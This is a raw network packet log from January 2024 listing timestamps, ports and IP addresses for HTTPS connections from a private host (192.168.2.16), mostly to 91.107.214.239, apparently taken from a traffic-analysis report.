Jan 26, 2024 10:17:13.256165981 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.256176949 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.256203890 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.256381989 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.256417990 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.256443024 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.256455898 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.256485939 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.256557941 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.256601095 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.256628036 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.256639004 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.256666899 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.256756067 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.256793022 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.256820917 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.256831884 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.256865978 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.259329081 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.285499096 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.285557032 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.285693884 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.285733938 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.285733938 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.285748005 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.285804033 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.285856009 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.285856009 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.285881996 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.285919905 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.285950899 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.285995007 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.286153078 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.286153078 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.286153078 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.286221981 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.286483049 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.457391977 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.457420111 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.457469940 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.457514048 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.457581043 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.457606077 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.457617044 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.457617044 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.457617044 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.457617044 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.457684040 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.457761049 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.457761049 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.457763910 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.457803965 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.457832098 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.457838058 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.457854033 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.457874060 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.457942963 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.457942963 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.459187984 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.459212065 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.459392071 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.459392071 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.459455013 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.459503889 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.459686995 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.459712982 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.459892988 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.459892988 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.459956884 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.460016966 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.460032940 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.460057974 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.460100889 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.460114956 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.460141897 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.460165977 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.460433960 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.460468054 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.460511923 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.460522890 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.460546970 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.460568905 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.460854053 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.460874081 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.460926056 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.460937023 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.460964918 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.460985899 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.461252928 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.461273909 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.461324930 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.461334944 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.461361885 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.461380959 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.461682081 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.461704016 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.461745977 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.461755991 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.461781025 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.461801052 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.462136030 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462156057 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462204933 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.462214947 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462243080 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.462259054 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.462567091 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462585926 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462629080 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.462639093 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462665081 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.462683916 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.462724924 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462747097 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462785006 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.462795019 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462817907 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462821007 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.462838888 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.462843895 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462862015 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462886095 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.462915897 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.462920904 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462934017 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462954044 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.462981939 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.462992907 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.463021994 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.463047028 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.673152924 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673187971 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673377991 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.673377991 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.673443079 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673484087 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673511028 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.673523903 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673542023 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673542023 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.673584938 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.673604965 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.673692942 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673712969 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673758030 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.673764944 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673778057 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673778057 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.673800945 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673827887 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.673847914 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673870087 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673875093 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.673913956 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673918009 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.673932076 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.673934937 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.673980951 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.674144030 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.674165964 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.674319029 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.674319029 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.674381971 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.674437046 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.674922943 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.674942017 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.674983025 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.674998999 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.675029039 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.675050020 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.675090075 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.675112009 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.675148964 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.675154924 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.675167084 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.675203085 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.675204039 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.675203085 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.675224066 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.675234079 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.675265074 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.675285101 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698071003 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698097944 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698149920 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698189020 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698215961 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698282957 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698282957 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698282957 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698282957 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698354006 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698404074 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698447943 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698493004 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698502064 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698522091 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698529005 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698540926 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698571920 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698586941 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698613882 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698618889 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698640108 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698676109 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698687077 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698714018 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698726892 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698745012 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698793888 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698816061 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698872089 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698916912 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698945045 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698972940 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.698971033 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698971033 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698971033 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698971033 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698971033 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.698971987 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699042082 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699078083 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699098110 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699098110 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699100971 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699134111 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699147940 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699171066 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699176073 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699196100 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699239969 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699239969 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699251890 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699264050 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699265957 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699287891 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699316978 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699331045 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699353933 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699358940 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699378014 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699378014 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699393988 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699415922 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699440956 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699457884 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699460983 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699470043 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699502945 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699520111 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699520111 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699532032 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699557066 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699594021 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699610949 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699639082 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699683905 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699683905 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699696064 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699706078 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699719906 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699790955 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699791908 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699805021 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699820995 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699855089 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699872017 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699892044 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699898005 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699918985 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699954033 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.699964046 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699985981 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.699991941 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.700006008 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700043917 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.700059891 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700078964 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700083971 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.700102091 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700135946 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.700150967 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700170994 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700176954 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.700176954 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.700192928 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700234890 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.700246096 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700268030 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700272083 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.700306892 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700333118 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.700342894 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700366974 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700371981 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.700387001 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700423002 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.700433016 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700455904 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700459957 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.700515985 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.700530052 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700548887 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.700617075 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.754353046 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:15.172610998 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:20.315094948 CET	443	49734	64.233.185.99	192.168.2.16
Jan 26, 2024 10:17:20.315258026 CET	443	49734	64.233.185.99	192.168.2.16
Jan 26, 2024 10:17:20.315381050 CET	49734	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:17:22.095556021 CET	49734	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:17:22.095587015 CET	443	49734	64.233.185.99	192.168.2.16
Jan 26, 2024 10:17:35.153018951 CET	49736	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:17:35.153047085 CET	443	49736	173.194.219.102	192.168.2.16
Jan 26, 2024 10:17:35.153176069 CET	49736	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:17:35.153409958 CET	49736	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:17:35.153414011 CET	443	49736	173.194.219.102	192.168.2.16
Jan 26, 2024 10:17:35.374170065 CET	443	49736	173.194.219.102	192.168.2.16
Jan 26, 2024 10:17:35.374458075 CET	49736	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:17:35.374469042 CET	443	49736	173.194.219.102	192.168.2.16
Jan 26, 2024 10:17:35.374989986 CET	443	49736	173.194.219.102	192.168.2.16
Jan 26, 2024 10:17:35.375114918 CET	49736	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:17:35.375983953 CET	443	49736	173.194.219.102	192.168.2.16
Jan 26, 2024 10:17:35.376061916 CET	49736	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:17:35.377089977 CET	49736	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:17:35.377167940 CET	443	49736	173.194.219.102	192.168.2.16
Jan 26, 2024 10:17:35.377201080 CET	49736	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:17:35.421899080 CET	443	49736	173.194.219.102	192.168.2.16
Jan 26, 2024 10:17:35.429707050 CET	49736	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:17:35.429711103 CET	443	49736	173.194.219.102	192.168.2.16
Jan 26, 2024 10:17:35.477648020 CET	49736	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:17:35.591733932 CET	443	49736	173.194.219.102	192.168.2.16
Jan 26, 2024 10:17:35.594235897 CET	443	49736	173.194.219.102	192.168.2.16
Jan 26, 2024 10:17:35.594317913 CET	49736	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:17:35.594496012 CET	49736	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:17:35.594510078 CET	443	49736	173.194.219.102	192.168.2.16
Jan 26, 2024 10:17:37.831572056 CET	49731	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:37.831604958 CET	443	49731	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:37.831700087 CET	49731	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:37.832073927 CET	49737	443	192.168.2.16	23.1.237.25
